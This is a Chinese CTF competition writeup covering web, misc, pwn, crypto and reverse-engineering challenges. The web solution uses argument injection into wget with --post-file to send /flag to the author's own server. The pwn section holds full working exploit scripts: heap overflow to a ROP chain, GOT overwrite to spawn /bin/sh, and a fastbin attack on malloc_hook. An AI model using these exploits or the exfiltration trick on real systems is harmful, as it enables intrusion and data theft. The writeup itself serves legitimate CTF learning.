主頁 >  其他 > 隴原戰“疫“2021網路安全大賽Writeup

隴原戰“疫“2021網路安全大賽Writeup

2021-11-09 07:23:15 其他

Web

CheckIN

源代碼的這兩處:

1636352891856.png

1636352905106.png

先嘗試訪問/wget:/wget?argv=a,看出來這里應該是可以進行攻擊的了

1636352921819.png

接著嘗試利用wget的--post-file進行資料外帶,讀取源代碼

在自己VPS開個監聽并且構造:

/wget?argv=a&argv=--post-file&argv=/flag&argv=http://1.14.92.24:8008/

1636352940193.png

拿到flag:

flag{6e6f4abf-f38c-4d30-8ccd-e0bc0012a13f}

Misc

打敗病毒

下載附件,發現是MC,根據描述來看應該是殺掉BOSS之后就能獲得flag

1636276893744.png

1636276850002.png

進入游戲,首先肯定是要給自己來稱手一把好劍啦,直接輸入指令/give @p minecraft:diamond_sword 1 0 {ench:[{id:16,lvl:32727}]},想獲得附魔的鉆石劍,但是提示權限不過,應該是這個mod禁用了作弊,

但是這難不倒咱們老MC玩家了,直接選擇對局域網開放,并且勾選上允許作弊,游戲模式選擇創造模式,然后就能輸入剛才的指令獲得鉆石劍了

1636277328934.png

這里是有一個穿越的門的,跳進去就會到另外一個時空,里面是有boss的,但是進去了之后我們在一個平臺上,到達不了龍的位置,所以要進入創造模式,輸入/gamemode 1,現在雙擊空格就能飛起來了

1636277663008.png

對著這條龍就是一刀斬!打死了之后有個墓碑,看起來也是一個傳送門

1636277716478.png

進去之后,就提醒通關了,然后給了一串base編碼

1636278369702.png

1636277866673.png

通過base62解碼得到flag

1636277908814.png

flag為:

SETCTF{Fi9ht1ng_3ItH_V1rUs}

soEasyCheckin

下載附件得到一串base編碼,但是直接解開會亂碼,仔細觀察發現其中夾雜著一個$符號

1636291122251.png

于是嘗試去解前半部分的base,發現是base32

1636278138985.png

e5b9b3e7ad89e5928ce8b090e887aae794b1e5b9b3e7ad89e5b9b3e7ad89e887aae794b1e6b395e6b2bbe58f8be59684e5b9b3e7ad89e5b9b3e7ad89e6b091e4b8bbe585ace6ada3e695ace4b89ae5928ce8b090e69687e6988ee5b9b3e7ad89e788b1e59bbde585ace6ada3e695ace4b89ae585ace6ada3e8af9ae4bfa1e887aae794b1e5928ce8b090e6b091e4b8bbe5b9b3e7ad89e788b1e59bbde585ace6ada3e695ace4b89ae585ace6ada3e5b9b3e7ad89e5928ce8b090e69687e6988ee887aae794b1e58f8be59684e585ace6ada3e585ace6ada3e695ace4b89ae5928ce8b090e887aae794b1e69687e6988ee58f8be59684e6b395e6b2bbe887aae794b1e58f8be59684e585ace6ada3e585ace6ada3e58f8be59684e695ace4b89ae585ace6ada3e8af9ae4bfa1e887aae794b1e585ace6ada3e6b395e6b2bbe5928ce8b090e5928ce8b090e5b9b3e7ad89e695ace4b89ae6b395e6b2bbe5b9b3e7ad89e585ace6ada3e6b091e4b8bbe585ace6ada3e8af9ae4bfa1e887aae794b1e5928ce8b090e69688

hex解碼得到:

平等和諧自由平等平等自由法治友善平等平等民主公正敬業和諧文明平等愛國公正敬業公正誠信自由和諧民主平等愛國公正敬業公正平等和諧文明自由友善公正公正敬業和諧自由文明友善法治自由友善公正公正友善敬業公正誠信自由公正法治和諧和諧平等敬業法治平等公正民主公正誠信自由和諧

核心價值觀解碼報錯了,最后發現把最后的和諧兩個字去除就行了

1636278238043.png

解碼得到前半部分得flag:

SET{Qi2Xin1Xie2Li4-Long3Yuan

后半部分同樣是base32,按道理來說可以直接解開,但是這里亂碼了,原因是長度不夠,于是在前面添上777

1636278592676.png

1636278686232.png

可以得到:

6988ee5b9b3e7ad89e58f8be59684e887aae794b1e585ace6ada3e788b1e59bbde585ace6ada3e6b091e4b8bbe585ace6ada3e58f8be59684e788b1e59bbde5928ce8b090e887aae794b1e5b9b3e7ad89e695ace4b89ae585ace6ada3e695ace4b89ae5928ce8b090e887aae794b1e6b395e6b2bbe8af9ae4bfa1e5928ce8b090

這里hex解碼又是亂碼,把第一個6刪掉,再解碼得到平等友善自由公正愛國公正民主公正友善愛國和諧自由平等敬業公正敬業和諧自由法治誠信和諧

1636279137317.png

再解碼得到Zhan4Yi4},但是注意少了一個數字,因為每一個拼音后面都有一個數字,在前半段

flagSET{Qi2Xin1Xie2Li4-Long3Yuan中的Yuan后面肯定是有一個數字的,經過一個一個試,最終得到是2

所以完整flag為:

SET{Qi2Xin1Xie2Li4-Long3Yuan2Zhan4Yi4}

SOS

下載附件,又是MC,這次不是打怪了,這次一進去,就聽到了撥號的音,然后旁邊是 很多按鈕,通過踩下這些按鈕,旁邊就落下來一些東西

1636283909722.png

通過這些就可以猜想 通過DTMF的腳本來識別這段撥號音頻,得到按鍵的循序,通過這個順序依次踩下按鈕,用手機將音頻錄制下來,然后轉為wav格式的音頻

DTMF腳本地址:https://github.com/ribt/dtmf-decoder

DTMF腳本:

#!/usr/bin/env python3

import numpy as np
import matplotlib.pyplot as plt
from scipy.io import wavfile
import argparse

dtmf = {(697, 1209): "1", (697, 1336): "2", (697, 1477): "3", (770, 1209): "4", (770, 1336): "5", (770, 1477): "6",
        (852, 1209): "7", (852, 1336): "8", (852, 1477): "9", (941, 1209): "*", (941, 1336): "0", (941, 1477): "#",
        (697, 1633): "A", (770, 1633): "B", (852, 1633): "C", (941, 1633): "D"}

parser = argparse.ArgumentParser(description="Extract phone numbers from an audio recording of the dial tones.")
parser.add_argument("-v", "--verbose", help="show a complete timeline", action="store_true")
parser.add_argument("-l", "--left", help="left channel only (if the sound is stereo)", action="store_true")
parser.add_argument("-r", "--right", help="right channel only (if the sound is stereo)", action="store_true")
parser.add_argument("-d", "--debug", help="show graphs to debug", action="store_true")
parser.add_argument("-t", type=int, metavar="F", help="acceptable frequency error (in hertz, 20 by default)",
                    default=20)
parser.add_argument("-i", type=float, metavar='T', help="process by T seconds intervals (0.04 by default)",
                    default=0.04)

parser.add_argument('file', type=argparse.FileType('r'))

args = parser.parse_args()

file = args.file.name
try:
    fps, data = wavfile.read(file)
except FileNotFoundError:
    print("No such file:", file)
    exit()
except ValueError:
    print("Impossible to read:", file)
    print("Please give a wav file.")
    exit()

if args.left and not args.right:
    if len(data.shape) == 2 and data.shape[1] == 2:
        data = np.array([i[0] for i in data])
    elif len(data.shape) == 1:
        print("Warning: The sound is mono so the -l option was ignored.")
    else:
        print("Warning: The sound is not mono and not stereo (" + str(
            data.shape[1]) + " canals)... so the -l option was ignored.")


elif args.right and not args.left:
    if len(data.shape) == 2 and data.shape[1] == 2:
        data = np.array([i[1] for i in data])
    elif len(data.shape) == 1:
        print("Warning: the sound is mono so the -r option was ignored.")
    else:
        print("Warning: The sound is not mono and not stereo (" + str(
            data.shape[1]) + " canals)... so the -r option was ignored.")

else:
    if len(data.shape) == 2:
        data = data.sum(axis=1)  # stereo

precision = args.i

duration = len(data) / fps

step = int(len(data) // (duration // precision))

debug = args.debug
verbose = args.verbose
c = ""

if debug:
    print(
        "Warning:\nThe debug mode is very uncomfortable: you need to close each window to continue.\nFeel free to kill the process doing CTRL+C and then close the window.\n")

if verbose:
    print("0:00 ", end='', flush=True)

try:
    for i in range(0, len(data) - step, step):
        signal = data[i:i + step]

        if debug:
            plt.subplot(311)
            plt.subplots_adjust(hspace=0.5)
            plt.title("audio (entire signal)")
            plt.plot(data)
            plt.xticks([])
            plt.yticks([])
            plt.axvline(x=i, linewidth=1, color='red')
            plt.axvline(x=i + step, linewidth=1, color='red')
            plt.subplot(312)
            plt.title("analysed frame")
            plt.plot(signal)
            plt.xticks([])
            plt.yticks([])

        frequencies = np.fft.fftfreq(signal.size, d=1 / fps)
        amplitudes = np.fft.fft(signal)

        # Low
        i_min = np.where(frequencies > 0)[0][0]
        i_max = np.where(frequencies > 1050)[0][0]

        freq = frequencies[i_min:i_max]
        amp = abs(amplitudes.real[i_min:i_max])

        lf = freq[np.where(amp == max(amp))[0][0]]

        delta = args.t
        best = 0

        for f in [697, 770, 852, 941]:
            if abs(lf - f) < delta:
                delta = abs(lf - f)
                best = f

        if debug:
            plt.subplot(313)
            plt.title("Fourier transform")
            plt.plot(freq, amp)
            plt.yticks([])
            plt.annotate(str(int(lf)) + "Hz", xy=(lf, max(amp)))

        lf = best

        # High
        i_min = np.where(frequencies > 1100)[0][0]
        i_max = np.where(frequencies > 2000)[0][0]

        freq = frequencies[i_min:i_max]
        amp = abs(amplitudes.real[i_min:i_max])

        hf = freq[np.where(amp == max(amp))[0][0]]

        delta = args.t
        best = 0

        for f in [1209, 1336, 1477, 1633]:
            if abs(hf - f) < delta:
                delta = abs(hf - f)
                best = f

        if debug:
            plt.plot(freq, amp)
            plt.annotate(str(int(hf)) + "Hz", xy=(hf, max(amp)))

        hf = best

        if debug:
            if lf == 0 or hf == 0:
                txt = "Unknown dial tone"
            else:
                txt = str(lf) + "Hz + " + str(hf) + "Hz -> " + dtmf[(lf, hf)]
            plt.xlabel(txt)

        t = int(i // step * precision)

        if verbose and t > int((i - 1) // step * precision):
            m = str(int(t // 60))
            s = str(t % 60)
            s = "0" * (2 - len(s)) + s
            print("\n" + m + ":" + s + " ", end='', flush=True)

        if lf == 0 or hf == 0:
            if verbose:
                print(".", end='', flush=True)
            c = ""
        elif dtmf[(lf, hf)] != c or verbose:
            c = dtmf[(lf, hf)]
            print(c, end='', flush=True)

        if debug:
            plt.show()

    print()

except KeyboardInterrupt:
    print("\nCTRL+C detected: exiting...")

使用終端命令:

python dtmf.py 1.wav

得到踩鍵的順序后,依次踩下,即可得到flag

1636296606705.png

flag為:

SETCTF{C0M3_4nD_he1P_mE}

PWN

h3apclass:

首先分析題目,經典選單題,不過沒有show libc2.31

漏洞點在edit中,因為使用的是strlen,因此造成溢位,

leak_libc 部分: 通過溢位更改chunk的size為0x430直接進入unsorted bin

然后再不斷申請切割該unsorted bin 以達到unsorted bin 與 tcache重疊的效果,最后爆破一位 1/16 出stdout leak出libc

get_flag 部分 :一開始用setcontext寫的,但一直沒有成,

后面想用environ泄露出堆疊地址,但因為沒有show失敗,

后來想到這個是題黑名單,只是禁用了execve,于是改free_hook為printf地址,然后給printf傳入%15$p 泄露出堆疊上的地址,得到add函式的回傳地址,

最后直接把orw鏈打入add的ret地址處,列印出flag,

exp :

from pwn import*

context.log_level = "debug"

io = process("./H3apClass")
#io = remote("node4.buuoj.cn","28143")

libc = ELF("./libc.so.6",checksec = 0)


def fuck(choice):
	io.sendlineafter("4:Drop homework\n",str(choice))

def add(index,size,content):
	fuck(1)
	io.sendlineafter("Which homework?\n",str(index))
	io.sendlineafter("size:\n",str(size))
	io.sendlineafter("content:\n",content)

def Add(index,size,content):
	fuck(1)
	io.sendlineafter("Which homework?\n",str(index))
	io.sendlineafter("size:\n",str(size))
	io.sendafter("content:\n",content)

def edit(index,content):
	fuck(3)
	io.sendlineafter("Which homework?\n",str(index))
	io.sendafter("content:\n",content)

def delete(index):
	fuck(4)
	io.sendlineafter("Which homework?\n",str(index))

def look():
	global io
	gdb.attach(io)

"""
def pwn():
	#gdb.attach(io)
	add(0,0x18,b"0"*0x18)
	add(1,0xf8,b"1"*0xf8)
	add(2,0xf8,b"2"*0xf8)
	add(3,0xf8,b"3"*0xf8)
	add(4,0xf8,b"4"*0xf8)
	add(5,0x28,b"a"*0x28)
	add(6,0xf8,b"5"*0xf8)
	edit(5,b"a"*0x20 + p64(0x430) + p64(0x100))
	edit(0,b"a"*0x10 + p64(0) + p64(0x430))
	delete(6)
	look()
pwn()
"""

def pwn():
	#gdb.attach(io)
	add(0,0x18,b"a"*0x18)
	add(1,0xf8,b"wangwang1")
	add(2,0xf8,b"wangwang2")
	add(3,0xf8,b"wangwang2")
	add(4,0xf8,b"wangwang2")
	add(5,0x28,"fuck_libc")
	delete(4)
	add(4,0x18,"eeeenb")
	add(6,0x28,p64(0)+p64(0x21))
	edit(0,b"a"*0x10+p64(0)+b"\x51\x04")
	delete(0)
	delete(1)
	for i in range(2,5):
		delete(i)
	for i in range(2,5):
		add(i,0xe8,"a")
	for i in range(2,5):
		delete(i)
	delete(6)
	delete(5)
	add(2,0xd8,"2")
	add(3,0x48,b"3")
	Add(4,0x38,b"\xa0\x36")
	delete(2)
	delete(3)
	#pause()
	add(2,0x28,"0")
	paylaod = p64(0xfbad1887)+p64(0)*3+b"\x58"
	add(3,0x28,paylaod)
	libc_base = u64(io.recvuntil("\x7f",timeout=0.1)[-6:].ljust(8,b'\x00'))-0x1ed4a0 # _IO_2_1_stderr_+216 store _IO_file_jumps
	if libc_base == -0x1ed4a0:
		exit(-1)
	libc_base = libc_base - 0x7fcee3001afc + 0x7fcee3037000
	success("libc_base:"+hex(libc_base))
	free_hook = libc_base + libc.sym["__free_hook"]
	system = libc_base  + libc.sym["system"]
	printf = libc_base + libc.sym["printf"]
	environ = libc_base + libc.sym["environ"]
	setcontext = libc_base + libc.sym["setcontext"]

	read = libc_base + libc.sym["read"]
	write = libc_base + libc.sym["write"]
	open = libc_base + libc.sym["open"]
	pop_rdi_ret = libc_base + 0x26b72
	pop_rdx_r12 = libc_base + 0x11c371
	pop_rsi_ret = libc_base +0x27529
	pop_rax_ret = libc_base + 0x4a550
	syscall_ret = read + 0xf
	ret = libc_base + 0x25679 

	success("free_hook:"+hex(free_hook))
	#look()
	delete(4)
	add(4,0x40,b"a"*0x40)
	edit(4,p64(0)*5+p64(0x21)+p64(free_hook))
	add(0,0x18,b"%15$p")
	add(6,0x18,p64(printf)+b"flag"+b"\x00"*4) 
	delete(0)
	info  = int(io.recv(14),16)
	success("stack_addr:"+hex(info)) #the_main_ret
	add_ret = info - 0x7ffd26ceb5e8  + 0x7ffd26ceb4d8
	success("add_ret:"+hex(add_ret))
	add(0,0xe0,p64(0)*4 + p64(add_ret))
	delete(0)
	delete(4) 
	add(0,0xf8,b"0")

	flag_addr = free_hook + 0x8
	orw = p64(pop_rdi_ret) + p64(flag_addr)
	orw += p64(pop_rsi_ret) + p64(0) #The open arg2 = 0 -> only read
	#orw += p64(pop_rax_ret) + p64(2)
	#orw += p64(syscall_ret)
	orw += p64(open)
	orw += p64(pop_rdi_ret) + p64(3)
	orw += p64(pop_rsi_ret) + p64(flag_addr+0x8)
	orw += p64(pop_rdx_r12) + p64(0x40) + p64(0)
	orw += p64(read)
	orw += p64(pop_rdi_ret) + p64(1);
	orw += p64(write)

	add(4,0xf8,orw)
	io.recvuntil("flag")
	sleep(100)
	io.interactive()
while True:
	try :
		#io = process("./H3apClass")
		io = remote("node4.buuoj.cn","29896")
		pwn()
	except:
		io.close
		continue

1636352438093.png

bbbaby:

首先分析題目,有兩個功能,

一個是可以對輸入的地址指向進行edit,

另外一個是可以對v5進行任意size的輸入,

于是很容易知道是需要通過v5溢位進行堆疊溢位攻擊,但checksec后發現開了canary,又因為got表可改并且無PIE,所以可以把**_stack_chk_fail**的got表改為main,于是溢位V5列印puts地址后再次回到了main函式,然后再次改got表,通過改atoi_got為system,并傳入/bin/sh\引數,getshell

exp :

from pwn import*

context.log_level = "debug"

io = remote("node4.buuoj.cn","27853")
elf = ELF('./pwn1',checksec = 0)
libc = ELF('./libc-2.23.so',checksec = 0)

pop_rdi_ret = 0x400a03
main_addr = 0x40090B
canary_check = 0x601020
atoi_got = 0x601040
offset = 0x110 + 0x8

def chocie(c):
	io.recvuntil("choice")
	io.sendline(str(c))

def pwn(size,content):
	chocie(1)
	io.recvuntil(":")
	io.sendline(str(size))
	io.recvuntil(":")
	io.send(content)

def edit_addr(addr,content):
	chocie(0)
	io.recvuntil(":")
	io.sendline(addr)
	io.recvuntil(":")
	io.send(content)

payload = p64(pop_rdi_ret) + p64(elf.got["puts"])
payload += p64(elf.plt['puts']) + p64(main_addr)

edit_addr(str(canary_check),p64(main_addr))
pwn(0x150,b"a"*offset + payload)
chocie(5)
chocie(5)

#leak_libc and get shell
puts = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base =puts - libc.sym['puts']
system = libc_base + libc.sym['system']

edit_addr(str(atoi_got),p64(system))
io.sendline(b'/bin/sh\x00')

io.interactive()

1636352422724.png

Magic:

剛拿到這個題比較懵逼,一堆大數,簡直是嚇壞孩子了,

然后直接上gdb分析就是個模板題

有 UAF,直接 fastbin attack可以打過去,

leak_libc 部分 : 填充8個a printf 順帶 main_arena+88c出來

get_shell 部分 : 直接fastbin_attack 打malloc_hook

exp :

from pwn import *

context.log_level = "debug"

io = remote("node4.buuoj.cn",27312)

elf = ELF("./Magic",checksec = 0)
libc = ELF('libc-2.23.so',checksec = 0)
one = [0x45226,0x4527a,0xf03a4,0xf1247]
main_arena = 0x3c4b20

def fuck(index):
	io.recvuntil("Input your choice: ")
	io.sendline(str(index))
	io.sendline('0')

def add(index):
	fuck(1)
	io.sendline(str(index))
	io.sendline('0')

def edit(index,content):
	fuck(2)
	io.recvuntil("Input the idx")
	io.sendline(str(index))
	io.sendline('0')
	io.recvuntil("Input the Magic")
	io.send(content)	

def delete(index):
	fuck(3)
	io.recvuntil("Input the idx")
	io.sendline(str(index))
	io.sendline('0')

#leak_libc
add(0)
add(1)
edit(0,b"a"*8)

libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x3c4d98
realloc = libc_base + libc.sym['realloc']
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
success("malloc_hook"+hex(malloc_hook))
one_gadget  = one[3] + libc_base

#fuck the malloc_hook and libc_realloc
delete(1)
delete(0)
edit(0,p64(malloc_hook - 0x23))
add(0)
add(1)
payload = b'\x00'*11+p64(one_gadget)+p64(realloc+0x10)
edit(1,payload)

delete(0)
delete(0)

io.interactive()

1636352409712.png

Crypto

mostlycommon

seebug上有ctf 密碼學常見演算法總結 (seebug.org)

1636352860898.png

# -*- coding:utf-8 -*-
from gmpy2 import invert
def gongmogongji(n, c1, c2, e1, e2):
    def egcd(a, b):
        if b == 0:
            return a, 0
        else:
            x, y = egcd(b, a % b)
            return y, x - (a // b) * y
    s = egcd(e1, e2)
    s1 = s[0]
    s2 = s[1]

    # 求模反元素
    if s1 < 0:
        s1 = - s1
        c1 = invert(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = invert(c2, n)
    m = pow(c1, s1, n) * pow(c2, s2, n) % n
    return m

n= 103109065902334620226101162008793963504256027939117020091876799039690801944735604259018655534860183205031069083254290258577291605287053538752280231959857465853228851714786887294961873006234153079187216285516823832102424110934062954272346111907571393964363630079343598511602013316604641904852018969178919051627
e1= 13
e2= 15
c1= 13981765388145083997703333682243956434148306954774120760845671024723583618341148528952063316653588928138430524040717841543528568326674293677228449651281422762216853098529425814740156575513620513245005576508982103360592761380293006244528169193632346512170599896471850340765607466109228426538780591853882736654
c2= 79459949016924442856959059325390894723232586275925931898929445938338123216278271333902062872565058205136627757713051954083968874644581902371182266588247653857616029881453100387797111559677392017415298580136496204898016797180386402171968931958365160589774450964944023720256848731202333789801071962338635072065

result = gongmogongji(n, c1, c2, e1, e2)
print result
m1=hex(50937517501984079318479184180525081694999782691988219077509947184814275476037417455150384)
print m1
import binascii
m2=binascii.unhexlify(b'666c61672d3534643364623563316566636437616661353739633337626362353630616530')
print m2

共模攻擊的,把上面的exp稍微改下就行

# -*- coding:utf-8 -*-
from gmpy2 import invert
import gmpy2
from Crypto.Util.number import *
def gongmogongji(n,c1,c2,e1,e2):
    def egcd(a, b):
        if a==0:
            return (b, 0, 1)
        else:
            z,y,x=egcd(b%a,a)
            return (z,x-(b//a)*y,y)
    s=egcd(e1, e2)
    s1=s[1]
    s2=s[2]
    # 求模反元素
    if s1<0:
        s1=-s1
        c1=invert(c1,n)
    else:
        s2=-s2
        c2=invert(c2,n)
    m=pow(c1,s1,n)*pow(c2,s2,n)%n
    m=gmpy2.iroot(m,2)[0]
    print(long_to_bytes(m))
n=122031686138696619599914690767764286094562842112088225311503826014006886039069083192974599712685027825111684852235230039182216245029714786480541087105081895339251403738703369399551593882931896392500832061070414483233029067117410952499655482160104027730462740497347212752269589526267504100262707367020244613503
e1=65536
e2=270270
c1=39449016403735405892343507200740098477581039605979603484774347714381635211925585924812727991400278031892391996192354880233130336052873275920425836986816735715003772614138146640312241166362203750473990403841789871473337067450727600486330723461100602952736232306602481565348834811292749547240619400084712149673
c2=43941404835820273964142098782061043522125350280729366116311943171108689108114444447295511969090107129530187119024651382804933594308335681000311125969011096172605146903018110328309963467134604392943061014968838406604211996322468276744714063735786505249416708394394169324315945145477883438003569372460172268277
gongmogongji(n, c1, c2, e1, e2)

1636353287664.png

flag為:

SETCTF{now_you_master_common_mode_attack}

RE

EasyRe

直接shift+F12進行字串查找即可

1636352773905.png

flag為:

flag{fc5e038d38a57032085441e7fe7010b0}

findme

IDA丟入,發現只能看到檢查長度,而字串比較經過測驗不對,直接上OD

1636294309508.png

難怪IDA沒識別出來,因為eax不確定,下個斷點,我取到了call eax呼叫的函式,進IDA繼續分析

1636294341143.png

em,RC4加密,穩了

1636294381005.png

記憶體dump出加密資料,直接解密

1636294411181.png

1636294422229.png

flag為:

SETCTF{Th1s_i5_E2_5tRcm9!}

power

記事本打開瞅一波

1636352792656.png

有很多含有aes的字串,繼續往下

1636352804017.png

發現個this_is_a_key!!!

這下aes應該跑不脫了,直接網站解密即可

1636352821308.png

flag為:

flag{y0u_found_the_aes_12113112}

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/353280.html

標籤:其他

上一篇:【網路安全】DRIDEX木馬巧用VEH混淆API呼叫流程

下一篇:一文搞懂對稱加密:加密演算法、作業模式、填充方式、代碼實作

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

